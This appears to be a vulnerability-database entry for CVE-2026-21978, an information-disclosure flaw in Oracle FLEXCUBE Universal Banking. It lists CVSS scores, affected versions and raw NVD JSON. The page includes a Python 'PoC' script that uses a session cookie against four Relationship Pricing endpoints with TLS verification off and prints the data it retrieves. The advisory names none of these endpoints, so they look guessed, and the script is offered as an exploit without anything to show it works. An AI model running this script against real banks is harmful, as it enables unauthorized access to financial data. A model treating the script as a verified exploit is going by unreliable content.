Security Vulnerability Report
中文
CVE-2026-21978 CVSS 6.5 MEDIUM

CVE-2026-21978

Published: 2026-01-20 22:16:01
Last Modified: 2026-02-02 18:25:25

Description

Vulnerability in the Oracle FLEXCUBE Universal Banking product of Oracle Financial Services Applications (component: Relationship Pricing). Supported versions that are affected are 14.0.0.0.0-14.8.0.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle FLEXCUBE Universal Banking. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle FLEXCUBE Universal Banking accessible data. CVSS 3.1 Base Score 6.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:oracle:flexcube_universal_banking:*:*:*:*:*:*:*:* - VULNERABLE
Oracle FLEXCUBE Universal Banking 14.0.0.0.0
Oracle FLEXCUBE Universal Banking 14.1.0.0.0
Oracle FLEXCUBE Universal Banking 14.2.0.0.0
Oracle FLEXCUBE Universal Banking 14.3.0.0.0
Oracle FLEXCUBE Universal Banking 14.4.0.0.0
Oracle FLEXCUBE Universal Banking 14.5.0.0.0
Oracle FLEXCUBE Universal Banking 14.6.0.0.0
Oracle FLEXCUBE Universal Banking 14.7.0.0.0
Oracle FLEXCUBE Universal Banking 14.8.0.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-21978 PoC - Oracle FLEXCUBE Relationship Pricing Unauthorized Access # Target: Oracle FLEXCUBE Universal Banking # Component: Relationship Pricing def exploit_cve_2026_21978(target_url, session_cookie): """ Exploit for CVE-2026-21978 Attempts to access Relationship Pricing data without proper authorization """ headers = { 'Cookie': f'JSESSIONID={session_cookie}', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/json', 'X-Requested-With': 'XMLHttpRequest' } # Target endpoint for Relationship Pricing endpoints = [ '/flexcube/relationshippricing/getPricingDetails', '/flexcube/relationshippricing/fetchAllPricing', '/flexcube/relationshippricing/exportData', '/services/RelationshipPricingService' ] results = [] for endpoint in endpoints: url = f"{target_url.rstrip('/')}{endpoint}" try: # Attempt to retrieve pricing data response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200 and len(response.content) > 100: results.append(f"[+] Success: Accessed {endpoint}") results.append(f" Data length: {len(response.content)} bytes") results.append(f" Response preview: {response.text[:200]}") elif response.status_code == 200: results.append(f"[*] Endpoint exists but may require specific parameters: {endpoint}") else: results.append(f"[-] Failed: {endpoint} (Status: {response.status_code})") except requests.RequestException as e: results.append(f"[!] Error accessing {endpoint}: {str(e)}") return '\n'.join(results) if __name__ == '__main__': if len(sys.argv) < 3: print("Usage: python cve_2026_21978.py <target_url> <session_cookie>") print("Example: python cve_2026_21978.py https://bank.example.com 'ABC123XYZ'") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] print(f"[*] Targeting: {target}") print(f"[*] Exploiting CVE-2026-21978...") print(exploit_cve_2026_21978(target, cookie))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21978", "sourceIdentifier": "[email protected]", "published": "2026-01-20T22:16:01.137", "lastModified": "2026-02-02T18:25:25.303", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the Oracle FLEXCUBE Universal Banking product of Oracle Financial Services Applications (component: Relationship Pricing). Supported versions that are affected are 14.0.0.0.0-14.8.0.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle FLEXCUBE Universal Banking. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle FLEXCUBE Universal Banking accessible data. CVSS 3.1 Base Score 6.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)."}, {"lang": "es", "value": "Vulnerabilidad en el producto Oracle FLEXCUBE Universal Banking de Oracle Financial Services Applications (componente: Relationship Pricing). Las versiones soportadas que están afectadas son 14.0.0.0.0-14.8.0.0.0. Una vulnerabilidad fácilmente explotable permite a un atacante con bajos privilegios con acceso a la red vía HTTP comprometer Oracle FLEXCUBE Universal Banking. Los ataques exitosos de esta vulnerabilidad pueden resultar en acceso no autorizado a datos críticos o acceso completo a todos los datos accesibles de Oracle FLEXCUBE Universal Banking. Puntuación base CVSS 3.1 de 6.5 (Impactos en la confidencialidad). Vector CVSS: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:flexcube_universal_banking:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0.0", "versionEndIncluding": "14.8.0.0.0", "matchCriteriaId": "4DED7FF9-DDFD-4143-BC12-B03C9AB2A6C0"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpujan2026.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}